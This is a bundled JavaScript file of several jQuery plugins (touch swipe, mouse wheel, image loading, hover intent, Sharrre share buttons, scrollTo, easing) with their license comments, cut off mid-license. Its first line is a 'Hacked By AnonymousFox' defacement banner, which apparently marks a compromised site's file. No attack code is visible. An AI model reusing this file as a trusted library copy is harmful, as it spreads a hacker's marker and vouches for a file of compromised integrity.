Hacked By AnonymousFox
/**
* jQuery Plugin to obtain touch gestures from iPhone, iPod Touch and iPad, should also work with Android mobile phones (not tested yet!)
* Common usage: wipe images (left and right to show the previous or next image)
*
* @author Andreas Waltl, netCU Internetagentur (http://www.netcu.de)
* @version 1.1.1 (9th December 2010) - fix bug (older IE's had problems)
* @version 1.1 (1st September 2010) - support wipe up and wipe down
* @version 1.0 (15th July 2010)
*/
(function($){$.fn.touchwipe=function(settings){var config={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:true};if(settings)$.extend(config,settings);this.each(function(){var startX;var startY;var isMoving=false;function cancelTouch(){this.removeEventListener('touchmove',onTouchMove);startX=null;isMoving=false}function onTouchMove(e){if(config.preventDefaultEvents){e.preventDefault()}if(isMoving){var x=e.touches[0].pageX;var y=e.touches[0].pageY;var dx=startX-x;var dy=startY-y;if(Math.abs(dx)>=config.min_move_x){cancelTouch();if(dx>0){config.wipeLeft()}else{config.wipeRight()}}else if(Math.abs(dy)>=config.min_move_y){cancelTouch();if(dy>0){config.wipeDown()}else{config.wipeUp()}}}}function onTouchStart(e){if(e.touches.length==1){startX=e.touches[0].pageX;startY=e.touches[0].pageY;isMoving=true;this.addEventListener('touchmove',onTouchMove,false)}}if('ontouchstart'in document.documentElement){this.addEventListener('touchstart',onTouchStart,false)}});return this}})(jQuery);
/*! Copyright (c) 2013 Brandon Aaron (http://brandonaaron.net)
* Licensed under the MIT License (LICENSE.txt).
*
* Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
* Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
* Thanks to: Seamus Leahy for adding deltaX and deltaY
*
* Version: 3.1.3
*
* Requires: 1.2.2+
*/
(function(factory){if(typeof define==="function"&&define.amd){define(["jquery"],factory)}else{if(typeof exports==="object"){module.exports=factory}else{factory(jQuery)}}}(function($){var toFix=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"];var toBind="onwheel" in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"];var lowestDelta,lowestDeltaXY;if($.event.fixHooks){for(var i=toFix.length;i;){$.event.fixHooks[toFix[--i]]=$.event.mouseHooks}}$.event.special.mousewheel={setup:function(){if(this.addEventListener){for(var i=toBind.length;i;){this.addEventListener(toBind[--i],handler,false)}}else{this.onmousewheel=handler}},teardown:function(){if(this.removeEventListener){for(var i=toBind.length;i;){this.removeEventListener(toBind[--i],handler,false)}}else{this.onmousewheel=null}}};$.fn.extend({mousewheel:function(fn){return fn?this.bind("mousewheel",fn):this.trigger("mousewheel")},unmousewheel:function(fn){return this.unbind("mousewheel",fn)}});function handler(event){var orgEvent=event||window.event,args=[].slice.call(arguments,1),delta=0,deltaX=0,deltaY=0,absDelta=0,absDeltaXY=0,fn;event=$.event.fix(orgEvent);event.type="mousewheel";if(orgEvent.wheelDelta){delta=orgEvent.wheelDelta}if(orgEvent.detail){delta=orgEvent.detail*-1}if(orgEvent.deltaY){deltaY=orgEvent.deltaY*-1;delta=deltaY}if(orgEvent.deltaX){deltaX=orgEvent.deltaX;delta=deltaX*-1}if(orgEvent.wheelDeltaY!==undefined){deltaY=orgEvent.wheelDeltaY}if(orgEvent.wheelDeltaX!==undefined){deltaX=orgEvent.wheelDeltaX*-1}absDelta=Math.abs(delta);if(!lowestDelta||absDelta<lowestDelta){lowestDelta=absDelta}absDeltaXY=Math.max(Math.abs(deltaY),Math.abs(deltaX));if(!lowestDeltaXY||absDeltaXY<lowestDeltaXY){lowestDeltaXY=absDeltaXY}fn=delta>0?"floor":"ceil";delta=Math[fn](delta/lowestDelta);deltaX=Math[fn](deltaX/lowestDeltaXY);deltaY=Math[fn](deltaY/lowestDeltaXY);args.unshift(event,delta,deltaX,deltaY);return($.event.dispatch||$.event.handle).apply(this,args)}}));
/*!
* jQuery imagesLoaded plugin v1.0.4
* http://github.com/desandro/imagesloaded
*
* MIT License. by Paul Irish et al.
*/
(function(a,b){a.fn.imagesLoaded=function(i){var g=this,e=g.find("img").add(g.filter("img")),c=e.length,h="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==";function f(){i.call(g,e)}function d(j){if(--c<=0&&j.target.src!==h){setTimeout(f);e.unbind("load error",d)}}if(!c){f()}e.bind("load error",d).each(function(){if(this.complete||this.complete===b){var j=this.src;this.src=h;this.src=j}});return g}})(jQuery);
/**
* hoverIntent r6 // 2011.02.26 // jQuery 1.5.1+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @param g onMouseOut function || Nothing (use configuration options object)
* @author Brian Cherne brian(at)cherne(dot)net
*/
(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind("mousemove",track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=="mouseenter"){pX=ev.pageX;pY=ev.pageY;$(ob).bind("mousemove",track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind("mousemove",track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);
/*
* Sharrre.com - Make your sharing widget!
* Version: beta 1.3.3
* Author: Julien Hany
* License: MIT http://en.wikipedia.org/wiki/MIT_License or GPLv2 http://en.wikipedia.org/wiki/GNU_General_Public_License
*/
(function(g,i,j,b){var h="sharrre",f={className:"sharrre",share:{googlePlus:false,facebook:false,twitter:false,digg:false,delicious:false,stumbleupon:false,linkedin:false,pinterest:false},shareTotal:0,template:"",title:"",url:j.location.href,text:j.title,urlCurl:"sharrre.php",count:{},total:0,shorterTotal:true,enableHover:true,enableCounter:true,enableTracking:false,hover:function(){},hide:function(){},click:function(){},render:function(){},buttons:{googlePlus:{url:"",urlCount:false,size:"medium",lang:"en-US",annotation:""},facebook:{url:"",urlCount:false,action:"like",layout:"button_count",width:"",send:"false",faces:"false",colorscheme:"",font:"",lang:"en_US"},twitter:{url:"",urlCount:false,count:"horizontal",hashtags:"",via:"",related:"",lang:"en"},digg:{url:"",urlCount:false,type:"DiggCompact"},delicious:{url:"",urlCount:false,size:"medium"},stumbleupon:{url:"",urlCount:false,layout:"1"},linkedin:{url:"",urlCount:false,counter:""},pinterest:{url:"",media:"",description:"",layout:"horizontal"}}},c={googlePlus:"",facebook:"https://graph.facebook.com/fql?q=SELECT%20url,%20normalized_url,%20share_count,%20like_count,%20comment_count,%20total_count,commentsbox_count,%20comments_fbid,%20click_count%20FROM%20link_stat%20WHERE%20url=%27{url}%27&callback=?",twitter:"http://cdn.api.twitter.com/1/urls/count.json?url={url}&callback=?",digg:"http://services.digg.com/2.0/story.getInfo?links={url}&type=javascript&callback=?",delicious:"http://feeds.delicious.com/v2/json/urlinfo/data?url={url}&callback=?",stumbleupon:"",linkedin:"http://www.linkedin.com/countserv/count/share?format=jsonp&url={url}&callback=?",pinterest:""},l={googlePlus:function(m){var n=m.options.buttons.googlePlus;g(m.element).find(".buttons").append('<div class="button googleplus"><div class="g-plusone" data-size="'+n.size+'" data-href="'+(n.url!==""?n.url:m.options.url)+'" data-annotation="'+n.annotation+'"></div></div>');i.___gcfg={lang:m.options.buttons.googlePlus.lang};var o=0;if(typeof gapi==="undefined"&&o==0){o=1;(function(){var p=j.createElement("script");p.type="text/javascript";p.async=true;p.src="//apis.google.com/js/plusone.js";var q=j.getElementsByTagName("script")[0];q.parentNode.insertBefore(p,q)})()}else{gapi.plusone.go()}},facebook:function(m){var n=m.options.buttons.facebook;g(m.element).find(".buttons").append('<div class="button facebook"><div id="fb-root"></div><div class="fb-like" data-href="'+(n.url!==""?n.url:m.options.url)+'" data-send="'+n.send+'" data-layout="'+n.layout+'" data-width="'+n.width+'" data-show-faces="'+n.faces+'" data-action="'+n.action+'" data-colorscheme="'+n.colorscheme+'" data-font="'+n.font+'" data-via="'+n.via+'"></div></div>');var o=0;if(typeof FB==="undefined"&&o==0){o=1;(function(t,p,u){var r,q=t.getElementsByTagName(p)[0];if(t.getElementById(u)){return}r=t.createElement(p);r.id=u;r.src="//connect.facebook.net/"+n.lang+"/all.js#xfbml=1";q.parentNode.insertBefore(r,q)}(j,"script","facebook-jssdk"))}else{FB.XFBML.parse()}},twitter:function(m){var n=m.options.buttons.twitter;g(m.element).find(".buttons").append('<div class="button twitter"><a href="https://twitter.com/share" class="twitter-share-button" data-url="'+(n.url!==""?n.url:m.options.url)+'" data-count="'+n.count+'" data-text="'+m.options.text+'" data-via="'+n.via+'" data-hashtags="'+n.hashtags+'" data-related="'+n.related+'" data-lang="'+n.lang+'">Tweet</a></div>');var o=0;if(typeof twttr==="undefined"&&o==0){o=1;(function(){var q=j.createElement("script");q.type="text/javascript";q.async=true;q.src="//platform.twitter.com/widgets.js";var p=j.getElementsByTagName("script")[0];p.parentNode.insertBefore(q,p)})()}else{g.ajax({url:"//platform.twitter.com/widgets.js",dataType:"script",cache:true})}},digg:function(m){var n=m.options.buttons.digg;g(m.element).find(".buttons").append('<div class="button digg"><a class="DiggThisButton '+n.type+'" rel="nofollow external" href="http://digg.com/submit?url='+encodeURIComponent((n.url!==""?n.url:m.options.url))+'"></a></div>');var o=0;if(typeof __DBW==="undefined"&&o==0){o=1;(function(){var q=j.createElement("SCRIPT"),p=j.getElementsByTagName("SCRIPT")[0];q.type="text/javascript";q.async=true;q.src="//widgets.digg.com/buttons.js";p.parentNode.insertBefore(q,p)})()}},delicious:function(o){if(o.options.buttons.delicious.size=="tall"){var p="width:50px;",n="height:35px;width:50px;font-size:15px;line-height:35px;",m="height:18px;line-height:18px;margin-top:3px;"}else{var p="width:93px;",n="float:right;padding:0 3px;height:20px;width:26px;line-height:20px;",m="float:left;height:20px;line-height:20px;"}var q=o.shorterTotal(o.options.count.delicious);if(typeof q==="undefined"){q=0}g(o.element).find(".buttons").append('<div class="button delicious"><div style="'+p+'font:12px Arial,Helvetica,sans-serif;cursor:pointer;color:#666666;display:inline-block;float:none;height:20px;line-height:normal;margin:0;padding:0;text-indent:0;vertical-align:baseline;"><div style="'+n+'background-color:#fff;margin-bottom:5px;overflow:hidden;text-align:center;border:1px solid #ccc;border-radius:3px;">'+q+'</div><div style="'+m+'display:block;padding:0;text-align:center;text-decoration:none;width:50px;background-color:#7EACEE;border:1px solid #40679C;border-radius:3px;color:#fff;"><img src="http://www.delicious.com/static/img/delicious.small.gif" height="10" width="10" alt="Delicious" /> Add</div></div></div>');g(o.element).find(".delicious").on("click",function(){o.openPopup("delicious")})},stumbleupon:function(m){var n=m.options.buttons.stumbleupon;g(m.element).find(".buttons").append('<div class="button stumbleupon"><su:badge layout="'+n.layout+'" location="'+(n.url!==""?n.url:m.options.url)+'"></su:badge></div>');var o=0;if(typeof STMBLPN==="undefined"&&o==0){o=1;(function(){var p=j.createElement("script");p.type="text/javascript";p.async=true;p.src="//platform.stumbleupon.com/1/widgets.js";var q=j.getElementsByTagName("script")[0];q.parentNode.insertBefore(p,q)})();s=i.setTimeout(function(){if(typeof STMBLPN!=="undefined"){STMBLPN.processWidgets();clearInterval(s)}},500)}else{STMBLPN.processWidgets()}},linkedin:function(m){var n=m.options.buttons.linkedin;g(m.element).find(".buttons").append('<div class="button linkedin"><script type="in/share" data-url="'+(n.url!==""?n.url:m.options.url)+'" data-counter="'+n.counter+'"><\/script></div>');var o=0;if(typeof i.IN==="undefined"&&o==0){o=1;(function(){var p=j.createElement("script");p.type="text/javascript";p.async=true;p.src="//platform.linkedin.com/in.js";var q=j.getElementsByTagName("script")[0];q.parentNode.insertBefore(p,q)})()}else{i.IN.init()}},pinterest:function(m){var n=m.options.buttons.pinterest;g(m.element).find(".buttons").append('<div class="button pinterest"><a href="http://pinterest.com/pin/create/button/?url='+(n.url!==""?n.url:m.options.url)+"&media="+n.media+"&description="+n.description+'" class="pin-it-button" count-layout="'+n.layout+'">Pin It</a></div>');(function(){var o=j.createElement("script");o.type="text/javascript";o.async=true;o.src="//assets.pinterest.com/js/pinit.js";var p=j.getElementsByTagName("script")[0];p.parentNode.insertBefore(o,p)})()}},d={googlePlus:function(){},facebook:function(){fb=i.setInterval(function(){if(typeof FB!=="undefined"){FB.Event.subscribe("edge.create",function(m){_gaq.push(["_trackSocial","facebook","like",m])});FB.Event.subscribe("edge.remove",function(m){_gaq.push(["_trackSocial","facebook","unlike",m])});FB.Event.subscribe("message.send",function(m){_gaq.push(["_trackSocial","facebook","send",m])});clearInterval(fb)}},1000)},twitter:function(){tw=i.setInterval(function(){if(typeof twttr!=="undefined"){twttr.events.bind("tweet",function(m){if(m){_gaq.push(["_trackSocial","twitter","tweet"])}});clearInterval(tw)}},1000)},digg:function(){},delicious:function(){},stumbleupon:function(){},linkedin:function(){function m(){_gaq.push(["_trackSocial","linkedin","share"])}},pinterest:function(){}},a={googlePlus:function(m){i.open("https://plus.google.com/share?hl="+m.buttons.googlePlus.lang+"&url="+encodeURIComponent((m.buttons.googlePlus.url!==""?m.buttons.googlePlus.url:m.url)),"","toolbar=0, status=0, width=900, height=500")},facebook:function(m){i.open("http://www.facebook.com/sharer/sharer.php?u="+encodeURIComponent((m.buttons.facebook.url!==""?m.buttons.facebook.url:m.url))+"&t="+m.text+"","","toolbar=0, status=0, width=900, height=500")},twitter:function(m){i.open("https://twitter.com/intent/tweet?text="+encodeURIComponent(m.text)+"&url="+encodeURIComponent((m.buttons.twitter.url!==""?m.buttons.twitter.url:m.url))+(m.buttons.twitter.via!==""?"&via="+m.buttons.twitter.via:""),"","toolbar=0, status=0, width=650, height=360")},digg:function(m){i.open("http://digg.com/tools/diggthis/submit?url="+encodeURIComponent((m.buttons.digg.url!==""?m.buttons.digg.url:m.url))+"&title="+m.text+"&related=true&style=true","","toolbar=0, status=0, width=650, height=360")},delicious:function(m){i.open("http://www.delicious.com/save?v=5&noui&jump=close&url="+encodeURIComponent((m.buttons.delicious.url!==""?m.buttons.delicious.url:m.url))+"&title="+m.text,"delicious","toolbar=no,width=550,height=550")},stumbleupon:function(m){i.open("http://www.stumbleupon.com/badge/?url="+encodeURIComponent((m.buttons.delicious.url!==""?m.buttons.delicious.url:m.url)),"stumbleupon","toolbar=no,width=550,height=550")},linkedin:function(m){i.open("https://www.linkedin.com/cws/share?url="+encodeURIComponent((m.buttons.delicious.url!==""?m.buttons.delicious.url:m.url))+"&token=&isFramed=true","linkedin","toolbar=no,width=550,height=550")},pinterest:function(m){i.open("http://pinterest.com/pin/create/button/?url="+encodeURIComponent((m.buttons.pinterest.url!==""?m.buttons.pinterest.url:m.url))+"&media="+encodeURIComponent(m.buttons.pinterest.media)+"&description="+m.buttons.pinterest.description,"pinterest","toolbar=no,width=700,height=300")}};function k(n,m){this.element=n;this.options=g.extend(true,{},f,m);this.options.share=m.share;this._defaults=f;this._name=h;this.init()}k.prototype.init=function(){var m=this;if(this.options.urlCurl!==""){c.googlePlus=this.options.urlCurl+"?url={url}&type=googlePlus";c.stumbleupon=this.options.urlCurl+"?url={url}&type=stumbleupon";c.pinterest=this.options.urlCurl+"?url={url}&type=pinterest"}g(this.element).addClass(this.options.className);if(typeof g(this.element).data("title")!=="undefined"){this.options.title=g(this.element).attr("data-title")}if(typeof g(this.element).data("url")!=="undefined"){this.options.url=g(this.element).data("url")}if(typeof g(this.element).data("text")!=="undefined"){this.options.text=g(this.element).data("text")}g.each(this.options.share,function(n,o){if(o===true){m.options.shareTotal++}});if(m.options.enableCounter===true){g.each(this.options.share,function(n,p){if(p===true){try{m.getSocialJson(n)}catch(o){}}})}else{if(m.options.template!==""){this.options.render(this,this.options)}else{this.loadButtons()}}g(this.element).hover(function(){if(g(this).find(".buttons").length===0&&m.options.enableHover===true){m.loadButtons()}m.options.hover(m,m.options)},function(){m.options.hide(m,m.options)});g(this.element).click(function(){m.options.click(m,m.options);return false})};k.prototype.loadButtons=function(){var m=this;g(this.element).append('<div class="buttons"></div>');g.each(m.options.share,function(n,o){if(o==true){l[n](m);if(m.options.enableTracking===true){d[n]()}}})};k.prototype.getSocialJson=function(o){var m=this,p=0,n=c[o].replace("{url}",encodeURIComponent(this.options.url));if(this.options.buttons[o].urlCount===true&&this.options.buttons[o].url!==""){n=c[o].replace("{url}",this.options.buttons[o].url)}if(n!=""&&m.options.urlCurl!==""){g.getJSON(n,function(r){if(typeof r.count!=="undefined"){var q=r.count+"";q=q.replace("\u00c2\u00a0","");p+=parseInt(q,10)}else{if(r.data&&r.data.length>0&&typeof r.data[0].total_count!=="undefined"){p+=parseInt(r.data[0].total_count,10)}else{if(typeof r.shares!=="undefined"){p+=parseInt(r.shares,10)}else{if(typeof r[0]!=="undefined"){p+=parseInt(r[0].total_posts,10)}else{if(typeof r[0]!=="undefined"){}}}}}m.options.count[o]=p;m.options.total+=p;m.renderer();m.rendererPerso()}).error(function(){m.options.count[o]=0;m.rendererPerso()})}else{m.renderer();m.options.count[o]=0;m.rendererPerso()}};k.prototype.rendererPerso=function(){var m=0;for(e in this.options.count){m++}if(m===this.options.shareTotal){this.options.render(this,this.options)}};k.prototype.renderer=function(){var n=this.options.total,m=this.options.template;if(this.options.shorterTotal===true){n=this.shorterTotal(n)}if(m!==""){m=m.replace("{total}",n);g(this.element).html(m)}else{g(this.element).html('<div class="box"><a class="count" href="#">'+n+"</a>"+(this.options.title!==""?'<a class="share" href="#">'+this.options.title+"</a>":"")+"</div>")}};k.prototype.shorterTotal=function(m){if(m>=1000000){m=(m/1000000).toFixed(2)+"M"}else{if(m>=1000){m=(m/1000).toFixed(1)+"k"}}return m};k.prototype.openPopup=function(m){a[m](this.options);if(this.options.enableTracking===true){var n={googlePlus:{site:"Google",action:"+1"},facebook:{site:"facebook",action:"like"},twitter:{site:"twitter",action:"tweet"},digg:{site:"digg",action:"add"},delicious:{site:"delicious",action:"add"},stumbleupon:{site:"stumbleupon",action:"add"},linkedin:{site:"linkedin",action:"share"},pinterest:{site:"pinterest",action:"pin"}};_gaq.push(["_trackSocial",n[m].site,n[m].action])}};k.prototype.simulateClick=function(){var m=g(this.element).html();g(this.element).html(m.replace(this.options.total,this.options.total+1))};k.prototype.update=function(m,n){if(m!==""){this.options.url=m}if(n!==""){this.options.text=n}};g.fn[h]=function(n){var m=arguments;if(n===b||typeof n==="object"){return this.each(function(){if(!g.data(this,"plugin_"+h)){g.data(this,"plugin_"+h,new k(this,n))}})}else{if(typeof n==="string"&&n[0]!=="_"&&n!=="init"){return this.each(function(){var o=g.data(this,"plugin_"+h);if(o instanceof k&&typeof o[n]==="function"){o[n].apply(o,Array.prototype.slice.call(m,1))}})}}}})(jQuery,window,document);
/**
* Copyright (c) 2007-2012 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com
* Dual licensed under MIT and GPL.
* @author Ariel Flesler
* @version 1.4.3.1
*/
(function($){var h=$.scrollTo=function(a,b,c){$(window).scrollTo(a,b,c)};h.defaults={axis:'xy',duration:parseFloat($.fn.jquery)>=1.3?0:1,limit:true};h.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(e,f,g){if(typeof f=='object'){g=f;f=0}if(typeof g=='function')g={onAfter:g};if(e=='max')e=9e9;g=$.extend({},h.defaults,g);f=f||g.duration;g.queue=g.queue&&g.axis.length>1;if(g.queue)f/=2;g.offset=both(g.offset);g.over=both(g.over);return this._scrollable().each(function(){if(e==null)return;var d=this,$elem=$(d),targ=e,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=)?\d+(\.\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}$.each(g.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=h.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(g.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=g.offset[pos]||0;if(g.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*g.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(g.limit&&/^\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&g.queue){if(old!=attr[key])animate(g.onAfterFirst);delete attr[key]}});animate(g.onAfter);function animate(a){$elem.animate(attr,f,g.easing,a&&function(){a.call(this,e,g)})}}).end()};h.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return typeof a=='object'?a:{top:a,left:a}}})(jQuery);
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
* to offer multiple easing options
*
* TERMS OF USE - jQuery Easing
*
* Open source under the BSD License.
*
* Copyright © 2008 George McGinley Smith
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(x,t,b,c,d){return jQuery.easing[jQuery.easing.def](x,t,b,c,d)},easeInQuad:function(x,t,b,c,d){return c*(t/=d)*t+b},easeOutQuad:function(x,t,b,c,d){return -c*(t/=d)*(t-2)+b},easeInOutQuad:function(x,t,b,c,d){if((t/=d/2)<1){return c/2*t*t+b}return -c/2*((--t)*(t-2)-1)+b},easeInCubic:function(x,t,b,c,d){return c*(t/=d)*t*t+b},easeOutCubic:function(x,t,b,c,d){return c*((t=t/d-1)*t*t+1)+b},easeInOutCubic:function(x,t,b,c,d){if((t/=d/2)<1){return c/2*t*t*t+b}return c/2*((t-=2)*t*t+2)+b},easeInQuart:function(x,t,b,c,d){return c*(t/=d)*t*t*t+b},easeOutQuart:function(x,t,b,c,d){return -c*((t=t/d-1)*t*t*t-1)+b},easeInOutQuart:function(x,t,b,c,d){if((t/=d/2)<1){return c/2*t*t*t*t+b}return -c/2*((t-=2)*t*t*t-2)+b},easeInQuint:function(x,t,b,c,d){return c*(t/=d)*t*t*t*t+b},easeOutQuint:function(x,t,b,c,d){return c*((t=t/d-1)*t*t*t*t+1)+b},easeInOutQuint:function(x,t,b,c,d){if((t/=d/2)<1){return c/2*t*t*t*t*t+b}return c/2*((t-=2)*t*t*t*t+2)+b},easeInSine:function(x,t,b,c,d){return -c*Math.cos(t/d*(Math.PI/2))+c+b},easeOutSine:function(x,t,b,c,d){return c*Math.sin(t/d*(Math.PI/2))+b},easeInOutSine:function(x,t,b,c,d){return -c/2*(Math.cos(Math.PI*t/d)-1)+b},easeInExpo:function(x,t,b,c,d){return(t==0)?b:c*Math.pow(2,10*(t/d-1))+b},easeOutExpo:function(x,t,b,c,d){return(t==d)?b+c:c*(-Math.pow(2,-10*t/d)+1)+b},easeInOutExpo:function(x,t,b,c,d){if(t==0){return b}if(t==d){return b+c}if((t/=d/2)<1){return c/2*Math.pow(2,10*(t-1))+b}return c/2*(-Math.pow(2,-10*--t)+2)+b},easeInCirc:function(x,t,b,c,d){return -c*(Math.sqrt(1-(t/=d)*t)-1)+b},easeOutCirc:function(x,t,b,c,d){return c*Math.sqrt(1-(t=t/d-1)*t)+b},easeInOutCirc:function(x,t,b,c,d){if((t/=d/2)<1){return -c/2*(Math.sqrt(1-t*t)-1)+b}return c/2*(Math.sqrt(1-(t-=2)*t)+1)+b},easeInElastic:function(x,t,b,c,d){var s=1.70158;var p=0;var a=c;if(t==0){return b}if((t/=d)==1){return b+c}if(!p){p=d*0.3}if(a<Math.abs(c)){a=c;var s=p/4}else{var s=p/(2*Math.PI)*Math.asin(c/a)}return -(a*Math.pow(2,10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p))+b},easeOutElastic:function(x,t,b,c,d){var s=1.70158;var p=0;var a=c;if(t==0){return b}if((t/=d)==1){return b+c}if(!p){p=d*0.3}if(a<Math.abs(c)){a=c;var s=p/4}else{var s=p/(2*Math.PI)*Math.asin(c/a)}return a*Math.pow(2,-10*t)*Math.sin((t*d-s)*(2*Math.PI)/p)+c+b},easeInOutElastic:function(x,t,b,c,d){var s=1.70158;var p=0;var a=c;if(t==0){return b}if((t/=d/2)==2){return b+c}if(!p){p=d*(0.3*1.5)}if(a<Math.abs(c)){a=c;var s=p/4}else{var s=p/(2*Math.PI)*Math.asin(c/a)}if(t<1){return -0.5*(a*Math.pow(2,10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p))+b}return a*Math.pow(2,-10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p)*0.5+c+b},easeInBack:function(x,t,b,c,d,s){if(s==undefined){s=1.70158}return c*(t/=d)*t*((s+1)*t-s)+b},easeOutBack:function(x,t,b,c,d,s){if(s==undefined){s=1.70158}return c*((t=t/d-1)*t*((s+1)*t+s)+1)+b},easeInOutBack:function(x,t,b,c,d,s){if(s==undefined){s=1.70158}if((t/=d/2)<1){return c/2*(t*t*(((s*=(1.525))+1)*t-s))+b}return c/2*((t-=2)*t*(((s*=(1.525))+1)*t+s)+2)+b},easeInBounce:function(x,t,b,c,d){return c-jQuery.easing.easeOutBounce(x,d-t,0,c,d)+b},easeOutBounce:function(x,t,b,c,d){if((t/=d)<(1/2.75)){return c*(7.5625*t*t)+b}else{if(t<(2/2.75)){return c*(7.5625*(t-=(1.5/2.75))*t+0.75)+b}else{if(t<(2.5/2.75)){return c*(7.5625*(t-=(2.25/2.75))*t+0.9375)+b}else{return c*(7.5625*(t-=(2.625/2.75))*t+0.984375)+b}}}},easeInOutBounce:function(x,t,b,c,d){if(t<d/2){return jQuery.easing.easeInBounce(x,t*2,0,c,d)*0.5+b}return jQuery.easing.easeOutBounce(x,t*2-d,0,c,d)*0.5+c*0.5+b}});
/*
*
* TERMS OF USE - EASING EQUATIONS
*
* Open source under the BSD License.
*
* Copyright © 2001 Robert Penner
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
